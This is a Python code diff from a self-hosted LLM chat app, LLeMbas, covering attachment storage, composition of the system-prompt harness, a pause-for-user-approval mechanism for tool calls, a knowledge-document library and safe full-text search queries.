raise FileError("That file is not text, and is not a format LLeMbas can read.")
truncated = len(text) > MAX_EXTRACTED_CHARS
extension = Path(filename).suffix.lower()
return Prepared(
payload=payload,
kind=KIND_TEXT,
media_type=TEXT_EXTENSIONS.get(extension, "text/plain"),
extension=extension if extension in TEXT_EXTENSIONS else ".txt",
extracted_text=text[:MAX_EXTRACTED_CHARS],
truncated=truncated,
)
def prepare(payload: bytes, filename: str) -> Prepared:
"""Inspect an upload, decide what it is, and process it accordingly."""
if not payload:
raise FileError("That file is empty.")
if len(payload) > MAX_UPLOAD_BYTES:
raise FileError(f"Files must be under {MAX_UPLOAD_BYTES // (1024 * 1024)} MB.")
if _detect_image(payload) is not None:
return _process_image(payload)
if _looks_like_pdf(payload):
return _process_pdf(payload)
return _process_text(payload, filename)
# --- Public API --------------------------------------------------------------
def safe_display_name(filename: str) -> str:
"""A filename fit to show. Never used as a path; the stored name is random."""
cleaned = Path(filename or "file").name.strip() or "file"
return cleaned[:300]
def store(
db: DBSession,
*,
user_id: str,
chat_id: str | None,
payload: bytes,
filename: str,
) -> Attachment:
"""Process and persist an upload. Raises FileError if it is unusable."""
prepared = prepare(payload, filename)
stored_name = f"{secrets.token_hex(16)}{prepared.extension}"
(attachments_dir() / stored_name).write_bytes(prepared.payload)
attachment = Attachment(
user_id=user_id,
chat_id=chat_id,
filename=safe_display_name(filename),
stored_name=stored_name,
media_type=prepared.media_type,
size_bytes=len(prepared.payload),
kind=prepared.kind,
width=prepared.width,
height=prepared.height,
extracted_text=prepared.extracted_text,
pages=prepared.pages,
truncated=prepared.truncated,
extraction_error=prepared.extraction_error,
)
db.add(attachment)
db.commit()
log.info(
"stored %s (%s, %d bytes) for user %s",
attachment.filename,
attachment.kind,
attachment.size_bytes,
user_id,
)
return attachment
def store_text(
db: DBSession,
*,
user_id: str,
chat_id: str | None,
filename: str,
text: str,
truncated: bool = False,
source_note: str = "",
source_path: str = "",
source_label: str = "",
) -> Attachment:
"""Attach text that did not arrive as a file -- a fetched web page.
Written to disk like any other attachment so it can be downloaded and so
there is one cleanup path, rather than a second kind of attachment that
exists only in the database.
`source_note` leads the *text*; `source_path` and `source_label` are
columns. The two are not the same thing and both are wanted: the note is
prose a model reads inside the document, and the columns become attributes
on the tag around it, which is what a reader sees on the chip and what
survives if the text is later truncated away from its own first line.
"""
body = text[:MAX_EXTRACTED_CHARS]
payload = body.encode("utf-8")
stored_name = f"{secrets.token_hex(16)}.txt"
(attachments_dir() / stored_name).write_bytes(payload)
attachment = Attachment(
user_id=user_id,
chat_id=chat_id,
filename=safe_display_name(filename),
stored_name=stored_name,
media_type="text/plain",
size_bytes=len(payload),
kind=KIND_TEXT,
# The URL leads the text so the model can cite it, and so the reader
# can see where an attachment called "Some Page.txt" came from.
extracted_text=f"Source: {source_note}\n\n{body}" if source_note else body,
truncated=truncated,
source_path=source_path[:1000],
source_label=source_label[:200],
)
db.add(attachment)
db.commit()
return attachment
def copy_attachment(
db: DBSession, *, user_id: str, chat_id: str | None, attachment: Attachment
) -> Attachment:
"""Duplicate something already sent, so it can ride along with a new message.
A copy and not a second reference to one row: an attachment belongs to the
message it was sent with, and sharing one between two would make deleting
either of them a question rather than an answer.
"""
stored_name = ""
source = attachments_dir() / attachment.stored_name if attachment.stored_name else None
if source is not None and source.exists():
stored_name = f"{secrets.token_hex(16)}{Path(source.name).suffix}"
(attachments_dir() / stored_name).write_bytes(source.read_bytes())
copy = Attachment(
user_id=user_id,
chat_id=chat_id,
filename=attachment.filename,
stored_name=stored_name,
media_type=attachment.media_type,
size_bytes=attachment.size_bytes,
kind=attachment.kind,
width=attachment.width,
height=attachment.height,
extracted_text=attachment.extracted_text,
pages=attachment.pages,
truncated=attachment.truncated,
extraction_error=attachment.extraction_error,
source_path=attachment.source_path,
source_label=attachment.source_label,
)
db.add(copy)
db.commit()
return copy
def copy_document(
db: DBSession, *, user_id: str, chat_id: str | None, document
) -> Attachment:
"""Copy a library document into a message being composed.
A copy rather than a reference. History must not change under a conversation
because a document was edited or deleted afterwards -- the same reason text
is extracted once at upload instead of per request. The bytes are duplicated
too, so deleting the document cannot leave a message pointing at nothing.
"""
from lembas.services.library import documents as documents_service
stored_name = ""
source = documents_service.stored_path(document.stored_name)
if source is not None:
stored_name = f"{secrets.token_hex(16)}{Path(source.name).suffix}"
(attachments_dir() / stored_name).write_bytes(source.read_bytes())
attachment = Attachment(
user_id=user_id,
chat_id=chat_id,
filename=document.filename or f"{document.title}.txt",
stored_name=stored_name,
media_type=document.media_type,
size_bytes=document.size_bytes,
kind=document.kind,
width=document.width,
height=document.height,
extracted_text=document.extracted_text,
pages=document.pages,
truncated=document.truncated,
extraction_error=document.extraction_error,
# Where it came from, for the same reason a project file carries it: a
# model handed four documents cannot tell which is which, and cannot
# name one back when asked to work on it. This was the one attach path
# that dropped provenance.
source_path=(document.title or "")[:1000],
source_label=(document.base.name if document.base else "Knowledge")[:200],
)
db.add(attachment)
db.commit()
return attachment
def delete(db: DBSession, attachment: Attachment) -> None:
path = stored_path(attachment.stored_name)
if path is not None:
path.unlink(missing_ok=True)
db.delete(attachment)
db.commit()
def claim(db: DBSession, *, ids: list[str], user_id: str, message_id: str) -> list[Attachment]:
"""Bind pending uploads to the message that was just sent.
Only unclaimed attachments belonging to this user are taken, so a stray or
forged id cannot pull someone else's file into a conversation.
"""
if not ids:
return []
pending = list(
db.scalars(
select(Attachment).where(
Attachment.id.in_(ids),
Attachment.user_id == user_id,
Attachment.message_id.is_(None),
)
)
)
for attachment in pending:
attachment.message_id = message_id
db.commit()
return pending
def remove_files_for_chats(db: DBSession, chat_ids: list[str]) -> int:
"""Unlink the files belonging to these chats' attachments.
Deleting a Chat cascades to its Message and Attachment *rows* but leaves the
files on disk -- only `sweep_orphans` unlinks anything, and it only looks at
uploads that were never attached. Anything that deletes chats has to call
this first, while the rows still say which files to remove.
"""
if not chat_ids:
return 0
removed = 0
for attachment in db.scalars(select(Attachment).where(Attachment.chat_id.in_(chat_ids))):
path = stored_path(attachment.stored_name)
if path is not None and path.exists():
path.unlink(missing_ok=True)
removed += 1
return removed
def sweep_orphans(db: DBSession, older_than: timedelta = ORPHAN_AGE) -> int:
"""Delete uploads that were never attached to a message.
A file picked in the composer and then abandoned would otherwise sit on
disk forever.
"""
cutoff = datetime.now(UTC) - older_than
orphans = list(db.scalars(select(Attachment).where(Attachment.message_id.is_(None))))
removed = 0
for attachment in orphans:
created = attachment.created_at
if created.tzinfo is None:
created = created.replace(tzinfo=UTC)
if created >= cutoff:
continue
path = stored_path(attachment.stored_name)
if path is not None:
path.unlink(missing_ok=True)
db.delete(attachment)
removed += 1
if removed:
db.commit()
log.info("swept %d orphaned upload(s)", removed)
return removed
def data_uri(attachment: Attachment) -> str | None:
"""Base64 data URI for an image, as sent to a vision model.
A data URI rather than a link back to this server: a local endpoint has no
route to LLeMbas, and a hosted one has no credentials for it.
"""
import base64
path = stored_path(attachment.stored_name)
if path is None:
return None
encoded = base64.b64encode(path.read_bytes()).decode("ascii")
return f"data:{attachment.media_type};base64,{encoded}"
File diff suppressed because it is too large Load Diff
+322
View File
@@ -0,0 +1,322 @@
"""Telling the model how to use what it has been given.
A model handed a `tools` array will often ignore it. It answers from recall
because that is what it was trained to do, and nothing in the request suggests
otherwise. The harness is the part of the prompt that says otherwise: what day it
is, one line per tool about *when* to reach for it, the memories, and the list of
skills available.
The text itself is not here. Every piece of it is a fragment in
``services/prompts.py``, defaulted there and overridable by an administrator on
``/admin/prompts``; this module decides which fragments apply to a given request
and what their variables resolve to. That split is what lets a custom tool
contribute its own guidance later by registering a fragment source and nothing
else.
**On the "system prompts are precedence, not concatenation" rule.** That rule
governs the three authored layers -- instance, model, chat -- and it is untouched
here: exactly one of them still wins, and ``chat.effective_system_prompt`` still
decides which. This is a different axis. It describes the machinery rather than
the behaviour, nobody authored it, and there is nothing for it to disagree with.
So it is prepended to whichever authored prompt won, inside one system message,
under a heading that makes the seam obvious.
One system message rather than two because several endpoints reject a second one.
The authored prompt goes last, where it is closest to the conversation.
A model with no tools still gets the core fragments -- the date above all, since
it has no clock and is being asked about a present it cannot see. That is a
change from the original behaviour, where no tools meant no harness at all;
clearing those fragments in the admin page restores it exactly.
"""
from __future__ import annotations
import logging
from datetime import datetime
from typing import Any
from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.db.models import User
from lembas.services import prompts, settings_store
from lembas.services.library import memories as memories_service
from lembas.services.library import skills as skills_service
log = logging.getLogger(__name__)
# A ceiling on the whole block, so that a large library cannot quietly eat the
# context window. Memory and skills have their own caps below this one. An
# administrator can lower it; `max_harness_chars` of 0 means "use this".
MAX_HARNESS_CHARS = 8000
# How many attached filenames to name in the prompt. Enough to show what the
# tags will look like, few enough that a chat with thirty files does not spend
# the window listing them -- this is an explanation, not a manifest.
MAX_NAMED_DOCUMENTS = 5
def _families(db: DBSession, tools: list[dict[str, Any]]) -> list[str]:
"""Which families are represented in an offered tool list, in a fixed order.
Resolved against the database rather than the import-time registry, because
an administrator-defined tool is a row and would otherwise contribute no
family at all -- which is to say its guidance would never be admitted.
"""
from lembas.services import tools as tools_service
book = tools_service.registry(db)
offered = {
book[name].family
for tool in tools
if (name := (tool.get("function") or {}).get("name")) in book
}
return [family for family in tools_service.families(db) if family in offered]
def _tool_names(tools: list[dict[str, Any]]) -> str:
return ", ".join(
name for tool in tools if (name := (tool.get("function") or {}).get("name"))
)
def _document_names(db: DBSession, chat) -> str:
"""The names of the non-image files attached anywhere in this chat."""
from lembas.db.models import Attachment
rows = list(
db.scalars(
select(Attachment.filename)
.where(Attachment.chat_id == chat.id, Attachment.kind != "image")
.order_by(Attachment.created_at)
.limit(MAX_NAMED_DOCUMENTS + 1)
).all()
)
if not rows:
return ""
if len(rows) > MAX_NAMED_DOCUMENTS:
return ", ".join(rows[:MAX_NAMED_DOCUMENTS]) + " and others"
return ", ".join(rows)
def context_variables(
db: DBSession,
user: User | None,
tools: list[dict[str, Any]] | None,
chat=None,
) -> dict[str, str]:
"""What every ``{{name}}`` in a fragment resolves to for this request.
The expensive ones are guarded by family, exactly as the memory block always
was: a model with no skills tool must not cause a skills query, and has no
business being told the memories either.
"""
from lembas.services import tools as tools_service
offered = tools or []
families = _families(db, offered)
stamp = datetime.now().astimezone()
values: dict[str, str] = {
"today": stamp.strftime("%A %-d %B %Y"),
"now": stamp.strftime("%A %-d %B %Y, %H:%M (UTC%z)"),
"instance_name": str(settings_store.get(db, "instance_name") or "LLeMbas"),
"user_name": (user.name or "") if user is not None else "",
"model_name": "",
"max_rounds": str(tools_service.MAX_ROUNDS),
# Not rendered anywhere. It is the gate on `core.rounds`: an ordinary
# chat gets one round and is told to ask for everything at once, an
# agent chat is told to keep going, and those are different sentences
# rather than the same sentence with a different number in it.
"round_budget": str(tools_service.MAX_ROUNDS),
"memory_limit": str(memories_service.MAX_MEMORY_CHARS),
"tool_names": _tool_names(offered),
"memories": memories_service.block(db, user) if "memory" in families else "",
"skills": (
skills_service.index_block(db, user, exclude=tools_service.scoped_skills_off(chat))
if "skills" in families
else ""
),
"knowledge_bases": "",
"document_names": "",
"agent_target": "",
"agent_dir": "",
"agent_mode": "",
"agent_rewound": "",
"project_files": "",
"agent_instructions": "",
"agent_instructions_file": "",
"plan": "",
}
if chat is not None:
from lembas.services import chat as chat_service
model = chat_service.model_for(db, chat)
values["model_name"] = model.label if model is not None else chat.model_id
# Naming the bases a chat is scoped to matters: without it the model
# cannot tell "there is nothing about this" from "I am only allowed to
# see the contracts folder", and phrases a miss as the former.
if "knowledge" in families and chat.knowledge_bases:
values["knowledge_bases"] = ", ".join(base.name for base in chat.knowledge_bases)
values["document_names"] = _document_names(db, chat)
# The one thing a tool description cannot carry, because a description
# is schema: which machine, which directory, and what this chat's mode
# currently permits. `max_rounds` is corrected here too, or an agent
# chat with forty rounds is told it has three.
if "agent" in families:
values.update(_agent_values(db, chat, user))
return values
def _agent_values(db: DBSession, chat, user) -> dict[str, str]:
"""What an agent chat's harness needs to say about where it is."""
from lembas.services import plans as plans_service
from lembas.services import settings_store
from lembas.services.agent import index as index_service
from lembas.services.agent import policy
from lembas.services.agent import session as agent_session
context = agent_session.resolve(db, chat, user)
if context is None:
return {}
rewound = ""
if getattr(chat, "rewound_at", None) is not None:
rewound = chat.rewound_at.strftime("on %-d %B at %H:%M")
return {
"agent_target": context.label,
"agent_dir": context.project_dir or "the login directory",
"agent_mode": policy.MODE_GUIDANCE.get(context.mode, ""),
"agent_rewound": rewound,
"max_rounds": str(context.limits.steps),
# Blanked, which is what makes `core.rounds` vanish here: `steps` is a
# runaway backstop and telling a model it has a budget of two hundred
# invites it to ration one.
"round_budget": "",
"project_files": _project_files(db, chat, context, settings_store, index_service),
# Already resolved on the context, from one primary-key lookup in
# `agent_session.resolve`. A plan the model cannot see is a plan it
# cannot keep current, which is the whole of why this is here.
"plan": plans_service.render_block(context.plan),
**_project_instructions(db, chat, context, settings_store),
}
def _project_instructions(db: DBSession, chat, context, settings_store) -> dict[str, str]:
"""The project's own AGENTS.md, from cache and never fetched.
Written to mirror `_project_files` line for line, and under the same rule:
`cached()` only. `generation._warm_project` is what fills it.
"""
from lembas.services.agent import instructions as instructions_service
agents = settings_store.agents(db)
blank = {"agent_instructions": "", "agent_instructions_file": ""}
if not agents.get("instructions_enabled"):
return blank
budget = int(agents.get("instructions_chars") or 0)
if budget <= 0:
return blank
profile_id = getattr(chat, "ssh_profile_id", "") or ""
found = instructions_service.cached(profile_id, context.project_dir)
text = instructions_service.render(found, budget)
if not text:
return blank
return {"agent_instructions": text, "agent_instructions_file": found.filename}
def _project_files(db: DBSession, chat, context, settings_store, index_service) -> str:
"""The directory listing, *read from cache and never fetched*.
This whole module runs synchronously on the request path, so an SFTP round
trip here would hold a request open while somebody's box thought about it.
The build happens in the generation setup, which is async and already doing
network work; here we take whatever it left behind.
A chat whose very first reply outruns its first index simply has no listing
that turn -- the fragment's `requires` makes it vanish rather than appear as
an empty heading, and the next turn has it.
"""
agents = settings_store.agents(db)
if not agents.get("index_enabled"):
return ""
budget = int(agents.get("index_chars") or 0)
if budget <= 0:
return ""
profile_id = getattr(chat, "ssh_profile_id", "") or ""
found = index_service.cached(profile_id, context.project_dir)
if found is None:
return ""
return index_service.render(found, budget)
def limit_for(db: DBSession) -> int:
"""The ceiling on the assembled block."""
stored = settings_store.get(db, "max_harness_chars", key=settings_store.PROMPTS)
return int(stored or 0) or MAX_HARNESS_CHARS
def compose_from(
db: DBSession,
*,
variables: dict[str, str],
families: list[str],
has_tools: bool,
overrides: dict[str, str] | None = None,
) -> str:
"""Assemble the preamble from already-resolved variables.
Separate from `compose` because the admin preview has no chat and must not
invent one: a transient Chat whose `knowledge_bases` collection cannot be
populated without real rows is a trap, and taking a plain dict of variables
instead sidesteps it entirely.
"""
return prompts.assemble(
db,
groups=prompts.HARNESS_GROUPS,
variables=variables,
families=families,
has_tools=has_tools,
overrides=overrides,
limit=limit_for(db),
)
def compose(
db: DBSession,
user: User | None,
tools: list[dict[str, Any]] | None,
chat=None,
) -> str:
"""The operational preamble for this request, or "" when there is nothing to say."""
offered = tools or []
return compose_from(
db,
variables=context_variables(db, user, offered, chat),
families=_families(db, offered),
has_tools=bool(offered),
)
def join(harness: str, authored: str, *, lead: str = "") -> str:
"""Put the harness in front of whichever authored prompt won.
Separated from `compose` so the precedence between instance, model and chat
stays testable on its own -- this function is the only place the two axes
meet. `lead` is the sentence that sits on the seam and says which side wins
when they disagree; it is a fragment like everything else, and an empty one
leaves the bare rule that was there before.
"""
if not harness:
return authored
if not authored:
return harness
seam = f"{lead}\n\n---" if lead else "---"
return f"{harness}\n\n{seam}\n\n{authored}"
+200
View File
@@ -0,0 +1,200 @@
"""Pausing a reply to ask the person reading it something.
Three features turn out to be one mechanism. A command that needs approving, a
question the model wants answered, and "this reply is waiting for you" are all:
stop the generation, put an interactive block in the bubble, wait for a POST,
carry on. So there is one primitive, and approval is a shape of question rather
than a separate machine.
Two things about where it sits matter.
**It pauses a round, not a call.** A round's tool calls run together under a
semaphore, and parking four coroutines on four separate answers inside that
gather would queue them behind each other invisibly -- and the reader would get
four cards, answerable in any order, for commands whose order matters. So one
card describes everything in the round that needs a decision, and the calls that
survive it run concurrently exactly as they did before.
**Stop has to keep working.** `generation.cancel` is read in one place, between
streamed chunks, and there are no chunks while paused. Rather than a second
poller, `generation.request_stop` resolves the pause directly; see the comment
there. Nothing in this module reaches back into `services.generation`, which is
what keeps it testable on its own.
"""
from __future__ import annotations
import asyncio
import time
from dataclasses import dataclass, field
from typing import TYPE_CHECKING
if TYPE_CHECKING: # pragma: no cover - annotation only
from lembas.services.generation import Generation
KIND_APPROVAL = "approval"
KIND_QUESTION = "question"
# How a pause ended.
ALLOW = "allow"
ALLOW_ALWAYS = "allow_always"
DENY = "deny"
ANSWER = "answer"
CANCELLED = "cancelled" # Stop was pressed while the card was showing
EXPIRED = "expired" # nobody answered in time
# Outcomes that mean "go ahead".
PERMITTED = (ALLOW, ALLOW_ALWAYS)
# A card offering more than this many buttons is a card nobody reads.
MAX_OPTIONS = 6
# And more than this many questions at once is a form, not a conversation. A
# model that wants twenty answers should ask for four and then ask again with
# what it learned.
MAX_QUESTIONS = 8
@dataclass(frozen=True)
class Item:
"""One thing being asked about: a single question, or one command.
`index` is the position of the *call* in its round, so an answer can be
matched back to the call it belongs to -- the tool turns have to line up
with the assistant turn's `tool_calls`, or an endpoint pairs the wrong
result with the right id. Several items can share an index, because one
`ask_user` call may carry several questions.
`key` identifies this item within the card, and is what the form field is
named after. Stable and opaque: a question's own text would make a terrible
field name, and its position alone would collide across calls.
"""
index: int
key: str
kind: str
tool_name: str
title: str
detail: str = ""
reason: str = ""
options: tuple[str, ...] = ()
allow_free_text: bool = True
@dataclass
class Interruption:
"""A reply, stopped, waiting for one answer to cover every item."""
id: str
items: tuple[Item, ...]
expires_at: float = 0.0
_future: asyncio.Future | None = field(default=None, repr=False, compare=False)
@property
def kind(self) -> str:
return KIND_QUESTION if any(i.kind == KIND_QUESTION for i in self.items) else KIND_APPROVAL
def resolve(self, outcome: str, *, answers: dict[str, str] | None = None) -> bool:
"""Complete this pause. Idempotent -- a second answer is ignored.
Returns whether this call was the one that answered it, which is what
the endpoint reports back: a card answered twice (two tabs, a double
click) should say so rather than pretend.
"""
if self._future is None or self._future.done():
return False
self._future.set_result(Reply(outcome=outcome, answers=dict(answers or {})))
return True
@dataclass(frozen=True)
class Reply:
"""How a card was answered.
`answers` is keyed by `Item.key`, so a card carrying four questions comes
back as four answers in one go. An approval carries none: the verdict is
the whole of it.
"""
outcome: str
answers: dict[str, str] = field(default_factory=dict)
@property
def permitted(self) -> bool:
return self.outcome in PERMITTED
@property
def ended(self) -> bool:
"""Whether this outcome means the whole reply should stop."""
return self.outcome == CANCELLED
def answer_to(self, item: Item) -> str:
return (self.answers.get(item.key) or "").strip()
def build(
interaction_id: str, items: list[Item] | tuple[Item, ...], *, timeout: float
) -> Interruption:
"""An interruption with its future attached, ready to be waited on."""
return Interruption(
id=interaction_id,
items=tuple(items),
expires_at=time.monotonic() + timeout,
_future=asyncio.get_running_loop().create_future(),
)
async def wait_for(
generation: Generation, interruption: Interruption, *, timeout: float
) -> Reply:
"""Park the generation on this interruption until somebody answers.
Sets `generation.pending` and touches, so the follower sends the card on its
next frame; clears both in `finally`, so answering makes it disappear. The
time spent here accumulates on `generation.waited` and is taken off the
reply's wall-clock budget -- a reader who thinks for ten minutes about one
command should not thereby spend the whole allowance.
"""
generation.pending = interruption
generation.touch()
started = time.monotonic()
try:
return await asyncio.wait_for(asyncio.shield(interruption._future), timeout)
except TimeoutError:
return Reply(outcome=EXPIRED)
finally:
generation.waited += time.monotonic() - started
generation.pending = None
generation.touch()
def summarise(items: tuple[Item, ...]) -> str:
"""What to show in the status line while the card is up."""
if not items:
return ""
if items[0].kind == KIND_QUESTION:
return "Waiting for your answer…" if len(items) == 1 else "Waiting for your answers…"
if len(items) == 1:
return f"Waiting for you to allow {items[0].tool_name}"
return f"Waiting for you to allow {len(items)} actions…"
__all__ = [
"ALLOW",
"ALLOW_ALWAYS",
"ANSWER",
"CANCELLED",
"DENY",
"EXPIRED",
"KIND_APPROVAL",
"KIND_QUESTION",
"MAX_OPTIONS",
"MAX_QUESTIONS",
"PERMITTED",
"Interruption",
"Item",
"Reply",
"build",
"summarise",
"wait_for",
]
+18
View File
@@ -0,0 +1,18 @@
"""The four stores the model can reach for.
Knowledge, notes and skills are searched; memory is small enough to be handed
over whole. Everything here answers to one visibility rule -- see
``services.sharing`` -- and nothing here queries a table without it.
"""
from lembas.services.library.fts import SearchHit, fts_query, search_ids
from lembas.services.library.memories import MAX_MEMORY_CHARS
from lembas.services.library.skills import SKILL_NAME_PATTERN
__all__ = [
"MAX_MEMORY_CHARS",
"SKILL_NAME_PATTERN",
"SearchHit",
"fts_query",
"search_ids",
]
+299
View File
@@ -0,0 +1,299 @@
"""The knowledge library: documents a person has collected.
Ingestion is deliberately **not** written here. A knowledge document and a chat
attachment are the same processing problem -- sniff the bytes, downscale the
image, extract the PDF once -- so both go through
``services.files.prepare``. Keeping one pipeline is what guarantees the same
PDF produces the same text whichever way it arrived, and it is why `Document`
carries the same content columns as `Attachment`.
"""
from __future__ import annotations
import logging
import secrets
from pathlib import Path
from sqlalchemy import select
from sqlalchemy.orm import Session as DBSession
from lembas.config import settings
from lembas.db.models import SOURCE_LINK, SOURCE_UPLOAD, Document, KnowledgeBase, User
from lembas.services import files as files_service
from lembas.services import sharing
from lembas.services.fetch import Fetched
from lembas.services.library.fts import search_ids
log = logging.getLogger(__name__)
INDEX = "documents_fts"
# What a first base is called when one has to be invented -- on the first
# upload, or for documents that predate bases existing.
DEFAULT_BASE_NAME = "My documents"
# How much of a document's text a search result carries back to the model. A
# whole 100-page extract would swallow the context window; this is enough to
# judge relevance and to answer from, and `knowledge_get` fetches the rest.
SNIPPET_CHARS = 1200
def library_dir() -> Path:
"""Where library files live, beside but separate from chat attachments."""
path = settings.uploads_dir / "library"
path.mkdir(parents=True, exist_ok=True)
return path
def stored_path(stored_name: str) -> Path | None:
"""Resolve a stored name, refusing anything outside the library directory.
The same check as ``services.files.stored_path``, against a different root.
"""
if not stored_name or "/" in stored_name or "\\" in stored_name or stored_name.startswith("."):
return None
base = library_dir().resolve()
path = (base / stored_name).resolve()
try:
path.relative_to(base)
except ValueError:
return None
return path if path.is_file() else None
# --- Bases -------------------------------------------------------------------
def visible_bases(db: DBSession, user: User | None):
return select(KnowledgeBase).where(sharing.visible_to(KnowledgeBase, user))
def get_base(db: DBSession, base_id: str, user: User | None) -> KnowledgeBase | None:
base = db.get(KnowledgeBase, base_id)
if base is None or not sharing.can_read(db, base, user):
return None
return base
def create_base(
db: DBSession, *, owner: User, name: str, description: str = ""
) -> KnowledgeBase:
name = " ".join((name or "").split())[:200] or DEFAULT_BASE_NAME
existing = db.scalar(
select(KnowledgeBase).where(
KnowledgeBase.owner_id == owner.id, KnowledgeBase.name == name
)
)
if existing is not None:
raise ValueError(f"You already have a knowledge base called {name!r}.")
base = KnowledgeBase(owner_id=owner.id, name=name, description=description.strip()[:2000])
db.add(base)
db.commit()
return base
def default_base(db: DBSession, owner: User) -> KnowledgeBase:
"""The base a document goes into when none was chosen.
Made on demand rather than at registration, so an account that never uses
the library never grows an empty one.
"""
base = db.scalar(
select(KnowledgeBase)
.where(KnowledgeBase.owner_id == owner.id)
.order_by(KnowledgeBase.created_at)
)
if base is not None:
return base
base = KnowledgeBase(owner_id=owner.id, name=DEFAULT_BASE_NAME)
db.add(base)
db.commit()
return base
def delete_base(db: DBSession, base: KnowledgeBase) -> None:
"""Delete a base and everything in it.
The documents go too -- a base is a place, not a label, and leaving its
contents behind with nowhere to live would need an "unfiled" concept that
exists only to hold the wreckage of deletes.
"""
for document in list(base.documents):
path = stored_path(document.stored_name)
if path is not None:
path.unlink(missing_ok=True)
sharing.forget_resource(db, base)
db.delete(base)
db.commit()
def sweep_unfiled(db: DBSession) -> int:
"""File documents that predate knowledge bases into their owner's default.
`Document.base_id` is nullable only because the column had to be added to a
table that already had rows. This is what makes "always set" true in
practice, and it runs at startup beside the orphaned-upload sweep.
"""
# Empty string as well as NULL: an earlier release added the column with a
# type-derived default, so a deployment that upgraded through it has rows
# holding "" rather than NULL. Both mean the same thing here.
unfiled = list(
db.scalars(select(Document).where((Document.base_id.is_(None)) | (Document.base_id == "")))
)
if not unfiled:
return 0
bases: dict[str, KnowledgeBase] = {}
for document in unfiled:
owner = db.get(User, document.owner_id)
if owner is None:
continue
if owner.id not in bases:
bases[owner.id] = default_base(db, owner)
document.base_id = bases[owner.id].id
db.commit()
log.info("filed %d document(s) that predated knowledge bases", len(unfiled))
return len(unfiled)
# --- Creating ----------------------------------------------------------------
def store_upload(
db: DBSession,
*,
owner: User,
payload: bytes,
filename: str,
title: str = "",
base: KnowledgeBase | None = None,
) -> Document:
"""Add an uploaded file to the library. Raises files.FileError if unusable."""
prepared = files_service.prepare(payload, filename)
base = base or default_base(db, owner)
stored_name = f"{secrets.token_hex(16)}{prepared.extension}"
(library_dir() / stored_name).write_bytes(prepared.payload)
display = files_service.safe_display_name(filename)
document = Document(
owner_id=owner.id,
base_id=base.id,
title=(title.strip() or display)[:300],
source=SOURCE_UPLOAD,
filename=display,
stored_name=stored_name,
media_type=prepared.media_type,
size_bytes=len(prepared.payload),
kind=prepared.kind,
width=prepared.width,
height=prepared.height,
extracted_text=prepared.extracted_text,
pages=prepared.pages,
truncated=prepared.truncated,
extraction_error=prepared.extraction_error,
)
db.add(document)
db.commit()
log.info("library: stored %r (%s) for %s", document.title, document.kind, owner.email)
return document
def store_page(
db: DBSession, *, owner: User, page: Fetched, base: KnowledgeBase | None = None
) -> Document:
"""Add a fetched web page to the library.
Saved as text rather than as the original HTML: the point of keeping it is
what it said, and the markup would have to be reduced again on every read.
"""
base = base or default_base(db, owner)
document = Document(
owner_id=owner.id,
base_id=base.id,
title=page.title[:300] or page.url[:300],
source=SOURCE_LINK,
source_url=page.url,
filename="",
media_type="text/plain",
size_bytes=len(page.text.encode("utf-8")),
kind="text",
extracted_text=page.text,
truncated=page.truncated,
)
db.add(document)
db.commit()
log.info("library: saved page %r for %s", document.title, owner.email)
return document
# --- Reading -----------------------------------------------------------------
def visible(db: DBSession, user: User | None, *, base_ids: list[str] | None = None):
"""Documents this user may see, optionally narrowed to some bases.
Visibility comes from the base, not the document: a document is readable by
whoever can read the base it lives in. That is the whole reason bases are
shareable and documents are not.
"""
condition = Document.base_id.in_(
select(KnowledgeBase.id).where(sharing.visible_to(KnowledgeBase, user))
)
query = select(Document).where(condition)
if base_ids:
# Still filtered by visibility above, so naming a base you cannot see
# returns nothing rather than granting access to it.
query = query.where(Document.base_id.in_(base_ids))
return query
def get(db: DBSession, document_id: str, user: User | None) -> Document | None:
document = db.get(Document, document_id)
if document is None:
return None
base = db.get(KnowledgeBase, document.base_id) if document.base_id else None
if base is None or not sharing.can_read(db, base, user):
return None
return document
def search(
db: DBSession,
user: User | None,
needle: str,
*,
limit: int = 10,
base_ids: list[str] | None = None,
) -> list[Document]:
"""Documents matching `needle` that this user may see, best match first.
The index is searched first and the visibility filter applied to the rows
it returned. That order matters: filtering afterwards is what makes it
impossible for a hit on somebody else's document to leak, even as a count.
"""
hits = search_ids(db, INDEX, needle, limit=limit * 4)
if not hits:
return []
order = {hit.id: position for position, hit in enumerate(hits)}
rows = list(
db.scalars(
visible(db, user, base_ids=base_ids).where(Document.id.in_(list(order)))
)
)
rows.sort(key=lambda document: order.get(document.id, len(order)))
return rows[:limit]
def snippet(document: Document) -> str:
"""The part of a document a search result carries."""
text = (document.extracted_text or "").strip()
if len(text) <= SNIPPET_CHARS:
return text
return text[:SNIPPET_CHARS].rstrip() + ""
# --- Removing ----------------------------------------------------------------
def delete(db: DBSession, document: Document) -> None:
path = stored_path(document.stored_name)
if path is not None:
path.unlink(missing_ok=True)
db.delete(document)
db.commit()
+95
View File
@@ -0,0 +1,95 @@
"""Querying the full-text indexes.
One helper for all three stores. The interesting part is turning what somebody
typed into something FTS5 will accept: its MATCH syntax has operators (`AND`,
`NEAR`, `*`, `^`, `:`) and a quoting rule, so a bare question mark or an
unbalanced quote is a syntax error rather than a search that finds nothing.
Every token is therefore quoted and the operators are dropped. That costs the
ability to type an FTS expression on purpose, which nobody was going to do, and
buys a search box that cannot be made to throw.
Search returns ids and leaves loading to the caller, which is what keeps the
visibility filter in one place: `services.sharing.visible_to` is applied to the
row query, not here.
"""
from __future__ import annotations
import logging
import re
from dataclasses import dataclass
from sqlalchemy import text
from sqlalchemy.orm import Session as DBSession
log = logging.getLogger(__name__)
# Anything that is not a word character or an apostrophe is a separator. Keeps
# accented letters (\w is Unicode-aware here) and loses the operators.
_TOKENS = re.compile(r"[^\W_]+(?:'[^\W_]+)*", re.UNICODE)
MAX_TERMS = 24
@dataclass(frozen=True)
class SearchHit:
id: str
rank: float
def _terms(needle: str) -> list[str]:
tokens = _TOKENS.findall(needle or "")[:MAX_TERMS]
# Doubling any embedded quote is the FTS5 escape; tokens cannot contain one
# after the regex above, but the rule is written out so it stays true if the
# pattern is ever loosened.
return ['"' + token.replace('"', '""') + '"' for token in tokens]
def fts_query(needle: str, *, operator: str = "AND") -> str:
"""Turn typed text into a safe FTS5 MATCH expression."""
terms = _terms(needle)
return f" {operator} ".join(terms) if terms else ""
def search_ids(
db: DBSession, index: str, needle: str, *, limit: int = 20
) -> list[SearchHit]:
"""Ids matching `needle`, best first.
`index` is a table name from db.migrations.FTS_INDEXES and never comes from
a request -- it is interpolated because SQLite cannot parameterise an
identifier, so it must stay that way.
